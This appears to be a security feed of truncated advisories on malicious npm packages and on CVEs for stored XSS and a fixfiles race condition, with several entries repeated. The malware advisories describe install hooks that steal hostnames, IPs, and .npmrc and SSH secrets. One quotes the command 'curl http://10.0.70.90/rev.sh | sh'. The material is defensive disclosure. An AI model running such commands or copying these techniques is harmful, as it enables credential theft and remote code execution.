Malicious code in dojo-rn-interview (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 42dcf2c659fc0c8b63b90671ae2a865a7811d5eeaaf321aab8355358117be47d [email protected] declares a preinstall script that runs index.js on npm install. The script collects host identifiers via os.hostname,...

Malicious code in bigops-shared-product-design (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1d8f6d857df9a0aa674b5354167a3eb1c28634b9e61a9436f19a9ffcb8a8b734 [email protected] ships adapter.js, which is unconditionally loaded via index.js on require. On load it fetches a platform-specific...

MAL-2026-13540 Malicious code in delivery-ci-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8753c683761d897d4f95cbdc7567d80c8e455b1d4ade844d24f0367633806335 index.js unconditionally loads setup.js on require/import. setup.js assembles three Cloudflare Workers hostnames oob-worker.cf102-baf.workers.dev,...

MAL-2026-13521 Malicious code in @rbxst/services (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8e349df2092cb3672698c00cefa5268881f21a60d1f71394c9e223b40d086d2 scripts/postinstall.js runs at npm install time. On Windows it downloads a ZIP archive from https://files.catbox.moe/rp8idk.zip anonymous file-hostin...

Malicious code in dolyame-boxy-atom-bnpl-navigation-arrow (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7db1d9b70bff8856c1f954e47b1b609be3a4123a0c937a4eecf70c3a598325f0 On require of the package, index.js loads bridge.js which unconditionally executes a setup routine that downloads a platform-specific executable from...

CVE-2026-54217

Tobit Laboratories AG TeamDavid's Webbox application is vulnerable to a stored XSS vulnerability. An attacker can send an email containing malicious JavaScript code. When a user accesses the email, the stored cross-site scripting is triggered. This issue affects TeamDavid through Rollout 524...

CVE-2026-15245 BNE Testimonials < 2.0.8.2 - Contributor+ Stored XSS via Slider Shortcode

The BNE Testimonials WordPress plugin before 2.0.8.2 does not properly escape a shortcode attribute for a JavaScript context before echoing it into an inline script, allowing users with the contributor role and above to inject arbitrary JavaScript that executes in the browser of anyone viewing th...

CVE-2026-15245

The BNE Testimonials WordPress plugin before 2.0.8.2 does not properly escape a shortcode attribute for a JavaScript context before echoing it into an inline script, allowing users with the contributor role and above to inject arbitrary JavaScript that executes in the browser of anyone viewing th...

CVE-2026-15245 BNE Testimonials < 2.0.8.2 - Contributor+ Stored XSS via Slider Shortcode

The BNE Testimonials WordPress plugin before 2.0.8.2 does not properly escape a shortcode attribute for a JavaScript context before echoing it into an inline script, allowing users with the contributor role and above to inject arbitrary JavaScript that executes in the browser of anyone viewing th...

EUVD-2026-54381

The BNE Testimonials WordPress plugin before 2.0.8.2 does not properly escape a shortcode attribute for a JavaScript context before echoing it into an inline script, allowing users with the contributor role and above to inject arbitrary JavaScript that executes in the browser of anyone viewing th...

Malicious code in @cats-cdf/authentication (npm)

Source: amazon-inspector 404569337a1e5fc46fff2584e052d2f9f99c3cb8d04e5fb3b5c5d633c178e01c The package's preinstall lifecycle script runs on npm install and collects the installer's local username whoami, hostname, and public IP address fetched via ifconfig.me, then transmits them as query-string...

CVE-2026-19079

A TOCTOU Time-of-Check-Time-of-Use race condition vulnerability was found in the fixfiles script in policycoreutils. When running fixfiles relabel or fixfiles restore, the script used find and chcon commands to locate and relabel unlabeled files under /tmp and other directories. A local attacker...

CVE-2026-19079: Time-of-check Time-of-use (TOCTOU) Race Condition

A TOCTOU Time-of-Check-Time-of-Use race condition vulnerability was found in the fixfiles script in policycoreutils. When running fixfiles relabel or fixfiles restore, the script used find and chcon commands to locate and relabel unlabeled files under /tmp and other directories. A local attacker...

Malicious code in merge-grid-stats (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 65aa3700b74bc0d50e4a4ee4fb3b903af0ac2ebea5867a3d1ffd0876647ec2a1 Package advertises itself as a 2048-style grid game statistics utility, but its declared postinstall hook node install-cb.js executes on npm install...

Malicious code in cdf-tag-commander-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 945179057c5bd93b985c3c532baa35379ce9dd9603e26d17e63201beb25868ae The preinstall lifecycle script in [email protected] runs automatically on npm install. It executes whoami and hostname, retrieves the...

MAL-2026-13481 Malicious code in cdf-tag-commander-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 945179057c5bd93b985c3c532baa35379ce9dd9603e26d17e63201beb25868ae The preinstall lifecycle script in [email protected] runs automatically on npm install. It executes whoami and hostname, retrieves the...

Malicious code in @cats-cdf/authentication (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 404569337a1e5fc46fff2584e052d2f9f99c3cb8d04e5fb3b5c5d633c178e01c The package's preinstall lifecycle script runs on npm install and collects the installer's local username whoami, hostname, and public IP address...

Malicious code in weight2loss (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e8b80ee1c23ef1ae185bbda67deab7b442f673434427f2c006acb4e7f388a52e The package ships setup.js, referenced by a postinstall hook in package.json, that on execution: 1 reads installer-side secrets from /.npmrc, /.ssh/,...

Malicious code in internallib_v514 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...

CVE-2026-49391

Frappe is a full-stack web application framework. Prior to 16.19.0 and 15.109.0, Data Import does not escape imported column headers before rendering previews and results, allowing an authenticated importer to persist script content that executes when another user views the import interface. This...